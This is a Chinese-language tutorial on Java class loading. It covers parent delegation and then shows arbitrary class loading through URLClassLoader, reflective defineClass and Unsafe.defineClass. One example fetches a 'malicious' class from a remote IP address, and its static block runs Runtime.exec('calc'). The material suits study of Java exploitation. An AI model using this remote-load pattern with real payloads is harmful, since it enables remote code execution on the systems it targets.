加载任意的类-java

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双亲委派

ClassLoader（类加载器）

Java源代码被编译器编译成**.class**的字节码文件。然后由我们得ClassLoader负责将这些class文件给加载到JVM中去执行

Bootstrap classLoader:主要负责加载核心的类库(java.lang.*等)，构造ExtClassLoader和APPClassLoader。

ExtClassLoader：主要负责加载jre/lib/ext目录下的一些扩展的jar。

AppClassLoader：主要负责加载应用程序的主函数类

原理

当一个Hello.class这样的文件要被加载时。不考虑我们自定义类加载器，首先会在AppClassLoader中检查是否加载过，如果有那就无需再加载了。如果没有，那么会拿到父加载器，然后调用父加载器的loadClass方法。父类中同理也会先检查自己是否已经加载过，如果没有再往上。注意这个类似递归的过程，直到到达Bootstrap classLoader之前，都是在检查是否加载过，并不会选择自己去加载。直到BootstrapClassLoader，已经没有父加载器了，这时候开始考虑自己是否能加载了，如果自己无法加载，会下沉到子加载器去加载，一直到最底层，如果没有任何加载器能加载，就会抛出ClassNotFoundException

为什么

防止用户自定义系统级别的类导致jvm运行出错，双亲委派机制保证了java自己的核心类库的稳定，简单来说我在自己项目下写一个Runtime是不会影响真正的Runtime的使用，因为加载器不会加载我们写的类

加载器运行代码分析

加载器加载哪些类是由他们的加载路径决定的

和双亲委派的原理图不一致的是我们的AppClassLoader上面还存在多个继承关系，urlclassloader听名字就是可以传入url来加载我们需要class文件

loadClass–>findClass–>defineClass(从字节码加载类)

URLClassLoader任意类加载

public class Hello {

    static{
        System.out.println("Hello");
    }

    public static void main(String[] args) {
    }
}

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test01 {

//利用urlClassLoader加载字节码文件
    public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {

        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///c:\\xiu\\")});
        Class<?> c = urlClassLoader.loadClass("Hello");
        c.newInstance();

    }

}

假如是我们自己写的恶意类的字节码的话

import java.io.IOException;

public class Hello {

    static{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

}

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test01 {


    public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {

        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://119.3.229.83/")});
        Class<?> c = urlClassLoader.loadClass("Hello");
        c.newInstance();

    }
}

jar包也可以使用此方法加载

ClassLoader.defineClass任意类加载

私有方法

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test01 {


    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {

        ClassLoader cl = ClassLoader.getSystemClassLoader();

        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:\\xiu\\Hello.class"));
        Class c = (Class) defineClass.invoke(cl, "Hello", code, 0, code.length);
        c.newInstance();


    }

}

Unsafe.defineClass任意类加载

spring可以直接生成这个私有类

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test01 {


    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {

        ClassLoader cl = ClassLoader.getSystemClassLoader();

        Class c = Unsafe.class;
        Field theUnsafeFiled = c.getDeclaredField("theUnsafe");
        theUnsafeFiled.setAccessible(true);
        Unsafe uns = (Unsafe) theUnsafeFiled.get(null);
        byte[] code = Files.readAllBytes(Paths.get("C:\\xiu\\Hello.class"));
        Class c2 = (Class) uns.defineClass("Hello", code, 0, code.length, cl, null);
        c2.newInstance();
    }
}